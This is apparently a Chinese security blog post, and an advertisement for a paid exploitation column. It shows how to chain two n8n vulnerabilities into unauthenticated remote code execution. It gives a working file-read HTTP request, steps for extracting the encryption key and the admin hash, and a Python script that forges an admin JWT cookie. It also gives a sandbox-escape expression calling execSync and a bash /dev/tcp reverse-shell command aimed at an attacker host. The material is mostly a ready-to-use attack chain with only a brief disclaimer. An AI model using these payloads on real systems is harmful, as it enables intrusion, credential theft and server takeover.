发生了什么?
去年,n8n 爆了个 CVE-2025-68613——工作流表达式沙箱逃逸导致远程命令执行,CVSS 9.9。按理说应该炸锅,结果风平浪静。为什么?因为触发条件第一条就是:你得先登录管理员账号。一个需要管理员权限才能用的 RCE,在攻防实战里跟没用一样。
今年又来了个 CVE-2026-21858——n8n 的 Form Webhook 接口能未授权读取任意文件。社区反应继续冷淡:不就是读几个配置文件嘛,能有多大事?
但如果你把这两个漏洞放在一起看,化学反应就发生了。不是 1+1=2,是 1+1=击穿一切防护。
CVE-2025-68613 就像一把上了膛的枪,但被锁在保险柜里——你知道它威力大,但没钥匙。
CVE-2026-21858 就是那把钥匙的蓝图——它告诉你保险柜在哪、怎么开、里面有什么。
把两件事串起来:用文件读取拿到加密密钥和数据库 → 看懂开源代码里的JWT签名方式 → 伪造管理员Cookie → 绕过登录 → 触发沙箱逃逸 → 反弹Shell。开发者精心设计的三道防线——登录鉴权、JWT签名算法、表达式沙箱隔离——被这一条链全部穿过。
从"没用的漏洞"到"服务器沦陷",全程不需要任何账号密码。

有多严重?——POC 验证
环境搭建
一条命令就够了:
docker compose up -d
30 秒后访问 http://your-ip:5678,看到 n8n 的登录界面就行。环境里已经预先配好了一个带文件上传功能的表单工作流,路径是 /form/vulnerable-form。
CVE-2026-21858:读取任意文件
这个漏洞的精髓就一句话:服务端不检查请求的 Content-Type。
n8n 的 Form Webhook 本来只该处理 multipart/form-data 格式的文件上传。但 formWebhook() 这个函数根本没看请求头里写的 Content-Type 是什么——你发 JSON 过来,它也照单全收。
更致命的是,JSON 里面你可以直接指定 filepath:
POST /form/vulnerable-form HTTP/1.1
Host: your-ip:5678
Content-Type: application/json
{"data":{},"files":{"file1":{"filepath":"/etc/passwd","originalFilename":"test.bin","mimetype":"application/octet-stream","size":12345}}}

服务端原样返回了 /etc/passwd 的内容。这在 CVSS 里叫"未授权任意文件读取"——通俗讲就是:你能看服务器上的任何文件,不需要登录。
有了这个能力后,按图索骥往下走:
第一步,读取 /proc/self/environ 拿到 n8n 的 home 目录(/root):

第二步,读 /root/.n8n/config 拿到加密密钥:

encryptionKey: Ae8CbpflcCj5E2N27ATQN7xWjOrRkqjb
第三步,下载 /root/.n8n/database.sqlite 整个数据库,用 DB Browser for SQLite 打开,从 user 表提取管理员信息:

id = 81a7b981-eb47-4b90-8184-42132a161443
email = admin@vulhub.org
password_hash = $2a$10$FiPWM4VFOaPSHBGtuvWimehADh27I/vuCRA46ahrlXahppTVEFYRi
n8n 的安全措施做得其实不差——密码用的是 bcrypt 哈希,暴力破解基本没指望。但这里有个致命的矛盾:n8n 是开源的。JWT 的签名方式、密钥的派生逻辑、验证流程,在源码里写得明明白白。你能看到它的"密码",自然就能复制它的"签名"。
import hashlib
import jwt
from base64 import b64encode
encryption_key = "Ae8CbpflcCj5E2N27ATQN7xWjOrRkqjb"
uid = "81a7b981-eb47-4b90-8184-42132a161443"
email = "admin@vulhub.org"
password_hash = "$2a$10$FiPWM4VFOaPSHBGtuvWimehADh27I/vuCRA46ahrlXahppTVEFYRi"
# JWT 密钥 = SHA256(encryptionKey 的偶数位字符)
secret = hashlib.sha256(encryption_key[::2].encode()).hexdigest()
# hash = Base64(SHA256(email:password_hash)) 的前10位
h = b64encode(hashlib.sha256(f"{email}:{password_hash}".encode()).digest()).decode()[:10]
# 生成管理员 JWT
admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
print(f"管理员 Cookie: n8n-auth={admin_token}")

把生成的 Cookie 写入浏览器,刷新——管理员登录,没输密码:

到这里,CVE-2026-21858 的使命完成了。它把一个"需要管理员权限的 RCE"变成了"我们有管理员权限了"。
CVE-2025-68613:沙箱逃逸执行命令
以管理员身份登录后,n8n 允许你创建工作流。工作流的节点参数可以用 {{ }} 嵌入 JavaScript 表达式,服务端运行时求值。
n8n 做了一个沙箱来限制这些表达式,不让它们碰 process、require 这些危险的全局对象。但沙箱的隔离不彻底——通过 this 关键字,表达式可以逃逸出受限的上下文:
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

id 命令执行成功——这就是 CVE-2025-68613,一个原本需要管理员权限的 RCE。
真正的门槛在哪?
如果你看完上面的内容,觉得自己懂了——那恭喜你,你只看到了最表面的东西。
执行 id 只是开胃菜。网上关于这个漏洞的教程,90% 都停在"能执行 id"这一步。真正从 POC 到拿下服务器的过程,中间横着一排暗坑。
我试的第一件事就是把 id 换成反弹 Shell 命令:
bash -i >& /dev/tcp/攻击端IP/监听端口 0>&1
信心满满地塞进表达式里——结果攻击端的 nc 监听一片空白,毛都没收到。
排查了很久才发现罪魁祸首:>& 这些 Shell 重定向符号在 n8n 的表达式解析器里被截断了。表达式引擎先解析 {{ }} 里的内容,再丢给 execSync 执行,中间经过一层字符串处理,你的反弹命令被撕得七零八落,到了 Shell 层已经面目全非。
这个问题折磨了我整整一个下午——各种转义、编码、换语法都试过,最后绕过去的方案说出来你都觉得简单。但就是这一层窗户纸,网上没人点破。
如果你想走完这条路
我把从环境搭建到最终反弹Shell的完整过程——包括每一次试错、每一次失败的排查思路、最终绕过方案的原理拆解,以及一个一键利用脚本——都整理在了付费专栏里。
本篇文章完整版详见 《【GetShell】n8n 未授权远程代码执行漏洞(CVE-2026-21858 + CVE-2025-68613)》 👉点击直达
本篇文章视频演示:【n8n 未授权 RCE利用链】漏洞合体,毁天灭地!零权限拿下服务器👉点击直达
专栏的名字叫 高危漏洞深度利用—零基础GetShell的全链路实战指南,👉点击直达。核心就是不止于 POC 复现,每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍编码绕过和JWT伪造的坑,可以翻翻。
复现过程中有问题直接评论区留言,我看到了会回。
本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。
1万+

被折叠的 条评论
为什么被折叠?



